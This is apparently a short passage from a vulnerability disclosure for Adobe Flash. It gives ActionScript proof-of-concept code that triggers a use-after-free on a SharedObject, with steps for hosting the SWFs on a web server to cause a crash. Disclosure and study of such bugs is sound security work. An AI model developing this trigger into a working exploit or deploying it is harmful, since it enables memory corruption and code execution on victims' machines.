A proof-of-concept is as follows: var s = SharedObject.getLocal("test"); ASSetPropFlags(s, null, 0, 0xff); ASSetPropFlags(s.data, null, 0, 0xff); var q = {myprop :"natalie", myprop2 : "test"}; s.data.fpadInfo = q; s.flush(); var n = new NetConnection(); ASnative(2100, 200)(s.data); n.connect.call(s.data, ""); trace(s.data.fpadInfo); s = 1; //GC happens here setInterval(f, 1000); function f(){ ASnative(252, 1).call(q); //Array push delete q.myprop; } A fla, an AS file and two swfs are attached. shareddelete.fla compiles to shareddelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and shareddelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up.
